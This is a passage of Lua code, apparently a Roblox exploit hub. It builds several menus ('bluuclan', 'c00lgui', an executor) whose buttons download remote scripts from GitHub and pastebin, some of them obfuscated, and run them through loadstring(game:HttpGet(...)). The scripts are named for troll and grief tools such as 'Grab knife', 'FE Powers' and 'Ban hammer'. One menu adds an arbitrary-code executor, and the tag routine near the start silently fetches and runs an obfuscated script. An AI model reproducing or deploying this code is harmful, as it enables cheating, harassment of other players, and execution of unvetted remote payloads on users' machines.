Moderadores[player.Name] then CriarTag(player) end end) end) -- Para os jogadores já existentes for _, plr in ipairs(Players:GetPlayers()) do plr.CharacterAdded:Connect(function() wait(1) if TagsAtivadas and Moderadores[plr.Name] then CriarTag(plr) end end) end -- Comandos do chat LocalPlayer.Chatted:Connect(function(msg) msg = msg:lower() if not Moderadores[LocalPlayer.Name] then return end if msg == ";tag" then TagsAtivadas = true AtualizarTags() elseif msg == ";untag" then RemoverTag(LocalPlayer) end end) -- Inicializa AtualizarTags() loadstring(game:HttpGet("https://raw.githubusercontent.com/Cat558-uz/Add/refs/heads/main/obfuscated_script-1753064471386.lua.txt"))() end, }) local Button = MainTab:CreateButton({ Name = "c00lclan", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/cfsmi2/c00lguiv1/refs/heads/main/Main.lua", true))() end, }) local Button = MainTab:CreateButton({ Name = "BluuClan (op af)", Callback = function() local Players = game:GetService("Players") local Player = Players.LocalPlayer local PlayerGui = Player:WaitForChild("PlayerGui") local UserInputService = game:GetService("UserInputService") local GUI_WIDTH, GUI_HEIGHT = 400, 360 local TITLE_HEIGHT, NAV_HEIGHT, FOOTER_HEIGHT = 30, 30, 30 local BUTTON_HEIGHT, BUTTON_PADDING = 30, 5 local screenGui = Instance.new("ScreenGui") screenGui.Name = "C00lclanGui" screenGui.ResetOnSpawn = false screenGui.Parent = PlayerGui -- 📢 Notificación al cargar local StarterGui = game:GetService("StarterGui") StarterGui:SetCore("SendNotification", { Title = "bluuclan v1", Text = "welcome to bluuclan v1!", Icon = "rbxassetid://87486058304609", Duration = 5 }) local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT) mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2) mainFrame.BackgroundColor3 = Color3.fromRGB(5, 5, 25) mainFrame.BorderSizePixel = 0 mainFrame.Parent = screenGui -- 🔹 Barra de título local titleBar = Instance.new("Frame", mainFrame) titleBar.Size = UDim2.new(1, 0, 0, TITLE_HEIGHT) titleBar.BackgroundColor3 = Color3.fromRGB(0, 0, 60) titleBar.BorderSizePixel = 0 local titleLabel = Instance.new("TextLabel", titleBar) titleLabel.Size = UDim2.new(1, -30, 1, 0) titleLabel.Position = UDim2.new(0, 4, 0, 0) titleLabel.BackgroundTransparency = 1 titleLabel.Text = "BLUUCLAN UI V1(created by bluududK4ng)" titleLabel.Font = Enum.Font.SourceSansBold titleLabel.TextSize = 18 titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextXAlignment = Enum.TextXAlignment.Left local minBtn = Instance.new("TextButton", titleBar) minBtn.Size = UDim2.new(0, 30, 1, 0) minBtn.Position = UDim2.new(1, -30, 0, 0) minBtn.Text = "_" minBtn.Font = Enum.Font.SourceSansBold minBtn.TextSize = 18 minBtn.TextColor3 = Color3.new(1, 1, 1) minBtn.BackgroundColor3 = Color3.fromRGB(10, 10, 80) minBtn.BorderSizePixel = 0 -- 🔹 Logo local logo = Instance.new("ImageLabel") logo.BackgroundTransparency = 1 logo.Size = UDim2.new(1, -20, 0, 80) logo.Position = UDim2.new(0, 10, 0, TITLE_HEIGHT + 5) logo.Image = "rbxassetid://87486058304609" logo.ScaleType = Enum.ScaleType.Fit logo.Parent = mainFrame -- 🔹 Navegación por páginas local navBar = Instance.new("Frame", mainFrame) navBar.Size = UDim2.new(1, 0, 0, NAV_HEIGHT) navBar.Position = UDim2.new(0, 0, 0, TITLE_HEIGHT + 85) navBar.BackgroundColor3 = Color3.fromRGB(0, 0, 40) navBar.BorderSizePixel = 0 local navButtons = {} local function createNavButton(name, xPos, callback) local btn = Instance.new("TextButton", navBar) btn.Size = UDim2.new(0, 80, 1, 0) btn.Position = UDim2.new(0, xPos, 0, 0) btn.Text = name btn.Font = Enum.Font.SourceSansBold btn.TextSize = 14 btn.TextColor3 = Color3.new(1, 1, 1) btn.BackgroundColor3 = Color3.fromRGB(10, 10, 80) btn.BorderSizePixel = 0 btn.MouseButton1Click:Connect(callback) navButtons[name] = btn end -- 🔹 Frame para botones con scroll local buttonFrame = Instance.new("ScrollingFrame", mainFrame) buttonFrame.Size = UDim2.new(1, -10, 0, GUI_HEIGHT - TITLE_HEIGHT - NAV_HEIGHT - FOOTER_HEIGHT - 95) buttonFrame.Position = UDim2.new(0, 5, 0, TITLE_HEIGHT + NAV_HEIGHT + 90) buttonFrame.BackgroundTransparency = 1 buttonFrame.CanvasSize = UDim2.new(0, 0, 0, 0) buttonFrame.ScrollBarThickness = 6 local UIGridLayout = Instance.new("UIGridLayout", buttonFrame) UIGridLayout.FillDirection = Enum.FillDirection.Horizontal UIGridLayout.CellSize = UDim2.new(0, 120, 0, BUTTON_HEIGHT) UIGridLayout.CellPadding = UDim2.new(0, BUTTON_PADDING, 0, BUTTON_PADDING) -- 🔹 Scripts por categoría local pages = { ["All"] = { {"Grab knife", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/Grab%20Knife%20V4.lua"}, {"JOHN DOE", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/John%20Doe.lua"}, {"C00lclan ui", "https://raw.githubusercontent.com/cfsmi2/c00lguiv1/refs/heads/main/Main.lua"}, {"Infinity yield", "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"}, {"Hathub baseplant", "https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"}, {"Fly", "https://raw.githubusercontent.com/XNEOFF/FlyGuiV3/main/FlyGuiV3.txt"}, {"Sword V3 baseplant", "https://raw.githubusercontent.com/SwordSimIsGood/Sword-SG/main/Swords%20FE%20Starmd"}, {"C00lexecutor", "https://raw.githubusercontent.com/rtlsmonk/c00lgui-made-by-rtls_a1-on-discord/refs/heads/main/have-fun"}, {"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"}, {"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"}, {"Zero Gravity v3", "https://raw.githubusercontent.com/Bac0nHck/Scripts/refs/heads/main/zerogravity"}, {"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"} }, ["FE"] = { {"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"}, {"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"}, {"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"} }, ["Baseplant"] = { {"Sword V3 baseplant", "https://raw.githubusercontent.com/SwordSimIsGood/Sword-SG/main/Swords%20FE%20Starmd"}, {"Hathub baseplant", "https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"}, {"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"}, {"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"}, {"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"} }, ["Trolls"] = { {"Grab knife", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/Grab%20Knife%20V4.lua"}, {"JOHN DOE", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/John%20Doe.lua"}, {"C00lclan ui", "https://raw.githubusercontent.com/cfsmi2/c00lguiv1/refs/heads/main/Main.lua"}, {"Infinity yield", "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"}, {"Zero Gravity v3", "https://raw.githubusercontent.com/Bac0nHck/Scripts/refs/heads/main/zerogravity"} } } -- 🔹 Función para crear botones local function loadPage(pageName) buttonFrame:ClearAllChildren() local layout = UIGridLayout:Clone() layout.Parent = buttonFrame for name, btn in pairs(navButtons) do btn.BackgroundColor3 = (name == pageName) and Color3.fromRGB(40, 40, 120) or Color3.fromRGB(10, 10, 80) end for _, scriptData in ipairs(pages[pageName]) do local button = Instance.new("TextButton") button.Text = scriptData[1] button.Font = Enum.Font.SourceSans button.TextSize = 14 button.TextColor3 = Color3.new(1, 1, 1) button.BackgroundColor3 = Color3.fromRGB(10, 10, 80) button.BorderSizePixel = 0 button.Parent = buttonFrame button.MouseButton1Click:Connect(function() loadstring(game:HttpGet(scriptData[2], true))() end) end buttonFrame.CanvasSize = UDim2.new(0, 0, 0, math.ceil(#pages[pageName] / 3) * (BUTTON_HEIGHT + BUTTON_PADDING)) end -- 🔹 Crear botones de navegación local navX = 0 for name, _ in pairs(pages) do createNavButton(name, navX, function() loadPage(name) end) navX = navX + 85 end -- 🔹 Footer con texto y botón local footer = Instance.new("Frame", mainFrame) footer.Size = UDim2.new(1, 0, 0, FOOTER_HEIGHT) footer.Position = UDim2.new(0, 0, 1, -FOOTER_HEIGHT) footer.BackgroundTransparency = 1 local footerLabel = Instance.new("TextLabel", footer) footerLabel.Size = UDim2.new(1, 0, 0.5, 0) footerLabel.Position = UDim2.new(0, 0, 0, 0) footerLabel.BackgroundTransparency = 1 footerLabel.Text = "Thanks for using bluuclan v1!" footerLabel.Font = Enum.Font.SourceSansBold footerLabel.TextSize = 14 footerLabel.TextColor3 = Color3.new(1, 1, 1) footerLabel.TextStrokeTransparency = 0.8 local closeBtn = Instance.new("TextButton", footer) closeBtn.Size = UDim2.new(1, 0, 0.5, 0) closeBtn.Position = UDim2.new(0, 0, 0.5, 0) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 18 closeBtn.TextColor3 = Color3.new(1, 1, 1) closeBtn.BackgroundColor3 = Color3.fromRGB(0, 0, 100) closeBtn.BorderSizePixel = 0 closeBtn.MouseButton1Click:Connect(function() screenGui:Destroy() end) -- 🔹 Dragging local dragging, dragInput, dragStart, startPos = false titleBar.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true dragStart = input.Position startPos = mainFrame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) titleBar.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then local delta = input.Position - dragStart mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y) end end) -- 🔹 Minimizar local minimized = false minBtn.MouseButton1Click:Connect(function() minimized = not minimized local visible = not minimized buttonFrame.Visible = visible navBar.Visible = visible footer.Visible = visible logo.Visible = visible mainFrame.BackgroundTransparency = minimized and 1 or 0 minBtn.Text = minimized and "◻" or "-" end) -- 📌 Cargar página inicial loadPage("All") end, }) local Button = MainTab:CreateButton({ Name = "c00lgui v3", Callback = function() local Players = game:GetService("Players") local Player = Players.LocalPlayer local PlayerGui = Player:WaitForChild("PlayerGui") local UserInputService = game:GetService("UserInputService") local GUI_WIDTH, GUI_HEIGHT = 400, 360 local TITLE_HEIGHT, NAV_HEIGHT, FOOTER_HEIGHT = 30, 30, 30 local BUTTON_HEIGHT, BUTTON_PADDING = 30, 5 local screenGui = Instance.new("ScreenGui") screenGui.Name = "C00lclanGui" screenGui.ResetOnSpawn = false screenGui.Parent = PlayerGui local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT) mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2) mainFrame.BackgroundColor3 = Color3.fromRGB(25, 5, 5) -- rojo oscuro mainFrame.BorderSizePixel = 0 mainFrame.Parent = screenGui -- 🔹 Barra de título local titleBar = Instance.new("Frame", mainFrame) titleBar.Size = UDim2.new(1, 0, 0, TITLE_HEIGHT) titleBar.BackgroundColor3 = Color3.fromRGB(60, 0, 0) -- rojo oscuro titleBar.BorderSizePixel = 0 local titleLabel = Instance.new("TextLabel", titleBar) titleLabel.Size = UDim2.new(1, -30, 1, 0) titleLabel.Position = UDim2.new(0, 4, 0, 0) titleLabel.BackgroundTransparency = 1 titleLabel.Text = "The c00lestGui V1" titleLabel.Font = Enum.Font.SourceSansBold titleLabel.TextSize = 18 titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextXAlignment = Enum.TextXAlignment.Left local minBtn = Instance.new("TextButton", titleBar) minBtn.Size = UDim2.new(0, 30, 1, 0) minBtn.Position = UDim2.new(1, -30, 0, 0) minBtn.Text = "_" minBtn.Font = Enum.Font.SourceSansBold minBtn.TextSize = 18 minBtn.TextColor3 = Color3.new(1, 1, 1) minBtn.BackgroundColor3 = Color3.fromRGB(80, 10, 10) -- rojo oscuro minBtn.BorderSizePixel = 0 -- 🔹 Logo local logo = Instance.new("ImageLabel") logo.BackgroundTransparency = 1 logo.Size = UDim2.new(1, -20, 0, 80) logo.Position = UDim2.new(0, 10, 0, TITLE_HEIGHT + 5) logo.Image = "rbxassetid://87486058304609" logo.ScaleType = Enum.ScaleType.Fit logo.Parent = mainFrame -- 🔹 Navegación por páginas local navBar = Instance.new("Frame", mainFrame) navBar.Size = UDim2.new(1, 0, 0, NAV_HEIGHT) navBar.Position = UDim2.new(0, 0, 0, TITLE_HEIGHT + 85) navBar.BackgroundColor3 = Color3.fromRGB(40, 0, 0) -- rojo oscuro navBar.BorderSizePixel = 0 local navButtons = {} local function createNavButton(name, xPos, callback) local btn = Instance.new("TextButton", navBar) btn.Size = UDim2.new(0, 80, 1, 0) btn.Position = UDim2.new(0, xPos, 0, 0) btn.Text = name btn.Font = Enum.Font.SourceSansBold btn.TextSize = 14 btn.TextColor3 = Color3.new(1, 1, 1) btn.BackgroundColor3 = Color3.fromRGB(80, 10, 10) -- rojo oscuro btn.BorderSizePixel = 0 btn.MouseButton1Click:Connect(callback) navButtons[name] = btn end -- 🔹 Frame para botones con scroll local buttonFrame = Instance.new("ScrollingFrame", mainFrame) buttonFrame.Size = UDim2.new(1, -10, 0, GUI_HEIGHT - TITLE_HEIGHT - NAV_HEIGHT - FOOTER_HEIGHT - 95) buttonFrame.Position = UDim2.new(0, 5, 0, TITLE_HEIGHT + NAV_HEIGHT + 90) buttonFrame.BackgroundTransparency = 1 buttonFrame.CanvasSize = UDim2.new(0, 0, 0, 0) buttonFrame.ScrollBarThickness = 6 local UIGridLayout = Instance.new("UIGridLayout", buttonFrame) UIGridLayout.FillDirection = Enum.FillDirection.Horizontal UIGridLayout.CellSize = UDim2.new(0, 120, 0, BUTTON_HEIGHT) UIGridLayout.CellPadding = UDim2.new(0, BUTTON_PADDING, 0, BUTTON_PADDING) local pages = { ["All"] = { {"Grab knife", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/Grab%20Knife%20V4.lua"}, {"JOHN DOE", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/John%20Doe.lua"}, {"C00lclan ui", "https://raw.githubusercontent.com/cfsmi2/c00lguiv1/refs/heads/main/Main.lua"}, {"Infinity yield", "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"}, {"Hathub baseplant", "https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"}, {"Fly", "https://raw.githubusercontent.com/XNEOFF/FlyGuiV3/main/FlyGuiV3.txt"}, {"Sword V3 baseplant", "https://raw.githubusercontent.com/SwordSimIsGood/Sword-SG/main/Swords%20FE%20Starmd"}, {"C00lexecutor", "https://raw.githubusercontent.com/rtlsmonk/c00lgui-made-by-rtls_a1-on-discord/refs/heads/main/have-fun"}, {"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"}, {"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"}, {"Zero Gravity v3", "https://raw.githubusercontent.com/Bac0nHck/Scripts/refs/heads/main/zerogravity"}, {"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"} }, ["FE"] = { {"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"}, {"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"}, {"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"} }, ["Baseplant"] = { {"Sword V3 baseplant", "https://raw.githubusercontent.com/SwordSimIsGood/Sword-SG/main/Swords%20FE%20Starmd"}, {"Hathub baseplant", "https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"}, {"Neko V4 baseplant", "https://pastebin.com/raw/au2Fxadh"}, {"FE Powers", "https://raw.githubusercontent.com/0Ben1/fe/main/obf_rf6iQURzu1fqrytcnLBAvW34C9N55kS9g9G3CKz086rC47M6632sEd4ZZYB0AYgV.lua.txt"}, {"Fe animations baseplant", "https://pastebin.com/raw/vezRxWTi"} }, ["Trolls"] = { {"Grab knife", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/Grab%20Knife%20V4.lua"}, {"JOHN DOE", "https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/John%20Doe.lua"}, {"C00lclan ui", "https://raw.githubusercontent.com/cfsmi2/c00lguiv1/refs/heads/main/Main.lua"}, {"Infinity yield", "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"}, {"Zero Gravity v3", "https://raw.githubusercontent.com/Bac0nHck/Scripts/refs/heads/main/zerogravity"} } } local function loadPage(pageName) for _, child in ipairs(buttonFrame:GetChildren()) do if child:IsA("TextButton") then child:Destroy() end end for name, btn in pairs(navButtons) do if name == pageName then btn.BackgroundColor3 = Color3.fromRGB(120, 40, 40) -- activo else btn.BackgroundColor3 = Color3.fromRGB(80, 10, 10) end end for _, scriptData in ipairs(pages[pageName]) do local button = Instance.new("TextButton") button.Text = scriptData[1] button.Font = Enum.Font.SourceSans button.TextSize = 14 button.TextColor3 = Color3.new(1, 1, 1) button.BackgroundColor3 = Color3.fromRGB(80, 10, 10) button.BorderSizePixel = 0 button.Parent = buttonFrame button.MouseButton1Click:Connect(function() loadstring(game:HttpGet(scriptData[2], true))() end) end buttonFrame.CanvasSize = UDim2.new(0, 0, 0, math.ceil(#pages[pageName] / 3) * (BUTTON_HEIGHT + BUTTON_PADDING)) end local navX = 0 for name, _ in pairs(pages) do createNavButton(name, navX, function() loadPage(name) end) navX = navX + 85 end local footer = Instance.new("Frame", mainFrame) footer.Size = UDim2.new(1, 0, 0, FOOTER_HEIGHT) footer.Position = UDim2.new(0, 0, 1, -FOOTER_HEIGHT) footer.BackgroundTransparency = 1 local closeBtn = Instance.new("TextButton", footer) closeBtn.Size = UDim2.new(1, 0, 1, 0) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 18 closeBtn.TextColor3 = Color3.new(1, 1, 1) closeBtn.BackgroundColor3 = Color3.fromRGB(100, 0, 0) -- rojo intenso closeBtn.BorderSizePixel = 0 closeBtn.MouseButton1Click:Connect(function() screenGui:Destroy() end) local dragging, dragInput, dragStart, startPos = false titleBar.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true dragStart = input.Position startPos = mainFrame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) titleBar.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then local delta = input.Position - dragStart mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y) end end) local minimized = false minBtn.MouseButton1Click:Connect(function() minimized = not minimized local visible = not minimized buttonFrame.Visible = visible navBar.Visible = visible footer.Visible = visible logo.Visible = visible mainFrame.BackgroundTransparency = minimized and 1 or 0 minBtn.Text = minimized and "◻" or "-" end) loadPage("All") end, }) local Button = MainTab:CreateButton({ Name = "c00lgui v4", Callback = function() local screenGui = Instance.new("ScreenGui") screenGui.Name = "C00LKING_GUI" screenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 500, 0, 400) mainFrame.Position = UDim2.new(0.5, -250, 0.5, -200) mainFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) mainFrame.BorderColor3 = Color3.fromRGB(120, 0, 0) mainFrame.BorderSizePixel = 4 mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = screenGui -- Título local title = Instance.new("TextLabel") title.Text = "C00LKING GUI" title.Size = UDim2.new(1, -40, 0, 40) title.BackgroundColor3 = Color3.fromRGB(120, 0, 0) title.TextColor3 = Color3.fromRGB(255, 255, 255) title.Font = Enum.Font.SourceSansBold title.TextSize = 22 title.TextXAlignment = Enum.TextXAlignment.Left title.Parent = mainFrame -- Botón cerrar local closeButton = Instance.new("TextButton") closeButton.Text = "X" closeButton.Size = UDim2.new(0, 40, 0, 40) closeButton.Position = UDim2.new(1, -40, 0, 0) closeButton.BackgroundColor3 = Color3.fromRGB(150, 0, 0) closeButton.TextColor3 = Color3.fromRGB(255, 255, 255) closeButton.Font = Enum.Font.SourceSansBold closeButton.TextSize = 20 closeButton.Parent = mainFrame closeButton.MouseButton1Click:Connect(function() screenGui:Destroy() end) -- Función para botones local function createButton(name, posX, posY, callback) local button = Instance.new("TextButton") button.Text = name button.Size = UDim2.new(0, 140, 0, 50) button.Position = UDim2.new(0, posX, 0, posY) button.BackgroundColor3 = Color3.fromRGB(150, 0, 0) button.TextColor3 = Color3.fromRGB(255, 255, 255) button.Font = Enum.Font.SourceSansBold button.TextSize = 18 button.Parent = mainFrame button.MouseButton1Click:Connect(callback) end -- Línea divisoria local function createDivider(posY) local line = Instance.new("Frame") line.Size = UDim2.new(1, 0, 0, 4) line.Position = UDim2.new(0, 0, 0, posY) line.BackgroundColor3 = Color3.fromRGB(120, 0, 0) line.BorderSizePixel = 0 line.Parent = mainFrame end -- Sección 1 createButton("c00lgui", 30, 60, function() loadstring(game:HttpGet("https://rawscripts.net...​"))() end) createButton("C00lexecutor", 180, 60, function() loadstring(game:HttpGet("https://rawscripts.net...​"))() end) createButton("C00lclanv1", 330, 60, function() loadstring(game:HttpGet("https://rawscripts.net...​"))() end) createDivider(120) -- Sección 2 createButton("Caducus", 30, 140, function() loadstring(game:HttpGet("https://rawscripts.net...​"))() end) createButton("Server admin", 180, 140, function() loadstring(game:HttpGet("https://rawscripts.net...​"))() end) createButton("John doe", 330, 140, function() loadstring(game:HttpGet("https://rawscripts.net...​"))() end) createDivider(200) -- Sección 3 createButton("Keyboard", 30, 220, function() loadstring(game:HttpGet("https://rawscripts.net...​"))() end) createButton("Ban hammer", 180, 220, function() loadstring(game:HttpGet("https://rawscripts.net...​"))() end) createButton("Lalol hub", 330, 220, function() loadstring(game:HttpGet("https://rawscripts.net...​"))() end) end, }) local Button = MainTab:CreateButton({ Name = "random ui", Callback = function() loadstring(game:HttpGet("https://pastebin.com/raw/h2Wv1Azz"))() end, }) local Button = MainTab:CreateButton({ Name = "c00lgui v5", Callback = function() loadstring(game:HttpGet("https://pastebin.com/raw/J677rE7A"))(); end, }) local Button = MainTab:CreateButton({ Name = "N0tGUI", Callback = function() loadstring(game:HttpGet("https://pastebin.com/raw/Cz3xbk8h"))() end, }) local Button = MainTab:CreateButton({ Name = "R6", Callback = function() -- Made by Izekai -- Instances: local ScreenGui = Instance.new("ScreenGui") local R6 = Instance.new("TextButton") local TextButton = Instance.new("TextButton") --Properties: ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling R6.Name = "R6" R6.Parent = ScreenGui R6.BackgroundColor3 = Color3.fromRGB(255, 255, 255) R6.Position = UDim2.new(-0.000343383319, 0, 0.32815966, 0) R6.Size = UDim2.new(0, 29, 0, 29) R6.Font = Enum.Font.SourceSans R6.Text = "R6" R6.TextColor3 = Color3.fromRGB(0, 0, 0) R6.TextSize = 14.000 R6.MouseButton1Down:connect(function() loadstring(game:HttpGet(('https://pastebin.com/raw/jHGVauVX'),true))() end) TextButton.Parent = ScreenGui TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton.Position = UDim2.new(0, 0, 0.414634138, 0) TextButton.Size = UDim2.new(0, 72, 0, 27) TextButton.Font = Enum.Font.SourceSans TextButton.Text = "Respawn" TextButton.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton.TextSize = 14.000 TextButton.MouseButton1Down:connect(function() loadstring(game:HttpGet(('https://pastebin.com/raw/ukFZuXbb'),true))() end) end, }) local Button = MainTab:CreateButton({ Name = "versus ( u nead to be R6 )", Callback = function() loadstring(game:HttpGet('https://pastebin.com/raw/wC64LrAJ',true))() end, }) local Button = MainTab:CreateButton({ Name = "bluudud executor", Callback = function() local player = game.Players.LocalPlayer -- GUI principal local gui = Instance.new("ScreenGui") gui.Name = "CustomExecutor" gui.ResetOnSpawn = false gui.Parent = player:WaitForChild("PlayerGui") -- Ventana principal (más pequeña y semi-transparente) local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 400, 0, 240) mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0) mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) mainFrame.BackgroundTransparency = 0.3 mainFrame.BorderSizePixel = 0 mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = gui -- Título local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 35) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Text = "join bluudud fuck off roblox" title.TextColor3 = Color3.new(1, 1, 1) title.TextScaled = true title.Font = Enum.Font.SourceSansBold title.Parent = mainFrame -- Cuadro de texto (fondo negro, más pequeño) local input = Instance.new("TextBox") input.Size = UDim2.new(0.9, 0, 0.55, 0) input.Position = UDim2.new(0.05, 0, 0.18, 0) input.BackgroundColor3 = Color3.fromRGB(0, 0, 0) input.BackgroundTransparency = 0 input.BorderSizePixel = 0 input.TextColor3 = Color3.new(1, 1, 1) input.Text = "" input.Font = Enum.Font.Code input.TextWrapped = true input.TextXAlignment = Enum.TextXAlignment.Left input.TextYAlignment = Enum.TextYAlignment.Top input.TextSize = 16 input.ClearTextOnFocus = false input.MultiLine = true input.Parent = mainFrame -- Crear botón local function createButton(text, position) local btn = Instance.new("TextButton") btn.Size = UDim2.new(0, 90, 0, 30) btn.Position = position btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0) btn.BackgroundTransparency = 0 btn.BorderSizePixel = 0 btn.Text = text btn.TextColor3 = Color3.new(1, 1, 1) btn.TextScaled = true btn.Font = Enum.Font.SourceSansBold btn.Parent = mainFrame return btn end -- Botones local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0)) local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0)) local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0)) -- Funciones executeBtn.MouseButton1Click:Connect(function() local code = input.Text if code and code ~= "" then pcall(function() loadstring(code)() end) end end) r6Btn.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local AvatarEditor = game:GetService("AvatarEditorService") local TweenService = game:GetService("TweenService") local UIS = game:GetService("UserInputService") if _G.AvatarRigPromptUI then return end _G.AvatarRigPromptUI = true local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") local RigUI = Instance.new("ScreenGui") RigUI.Name = "AvatarRigPromptUI" RigUI.ResetOnSpawn = false RigUI.Parent = playerGui local MainFrame = Instance.new("Frame") MainFrame.Size = UDim2.new(0, 200, 0, 100) MainFrame.Position = UDim2.new(0.5, -100, 0, 20) MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35) MainFrame.Parent = RigUI local UIStroke = Instance.new("UIStroke") UIStroke.Thickness = 2 UIStroke.Color = Color3.fromRGB(100, 200, 255) UIStroke.Parent = MainFrame local dragActive, dragStart, frameStart MainFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = true dragStart = input.Position frameStart = MainFrame.Position end end) UIS.InputChanged:Connect(function(input) if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then local delta = input.Position - dragStart MainFrame.Position = UDim2.new( frameStart.X.Scale, frameStart.X.Offset + delta.X, frameStart.Y.Scale, frameStart.Y.Offset + delta.Y ) end end) UIS.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = false end end) local function ExecuteRigChange() local char = player.Character if not char then return end local humanoid = char:FindFirstChildOfClass("Humanoid") if not humanoid then return end local desc = humanoid.HumanoidDescription:Clone() AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6) local result = AvatarEditor.PromptSaveAvatarCompleted:Wait() if result == Enum.AvatarPromptResult.Success then humanoid.Health = 0 humanoid:ChangeState(Enum.HumanoidStateType.Dead) player.CharacterAdded:Wait() task.wait(1) local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid") if newHumanoid then newHumanoid:ApplyDescription(desc) newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6) end end end local R6Button = Instance.new("TextButton") R6Button.Text = "R6 MODE" R6Button.Size = UDim2.new(0.9, 0, 0.6, 0) R6Button.Position = UDim2.new(0.05, 0, 0.2, 0) R6Button.Font = Enum.Font.GothamBold R6Button.TextColor3 = Color3.new(1,1,1) R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200) R6Button.Parent = MainFrame 